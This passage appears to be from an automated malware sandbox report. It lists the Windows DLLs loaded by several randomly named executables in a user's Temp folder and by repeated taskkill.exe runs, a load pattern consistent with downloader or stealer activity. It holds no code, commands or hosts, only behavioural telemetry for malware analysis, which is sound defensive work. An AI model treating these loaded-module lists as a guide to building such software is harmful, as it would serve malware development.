Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Section loaded: srvcli.dll
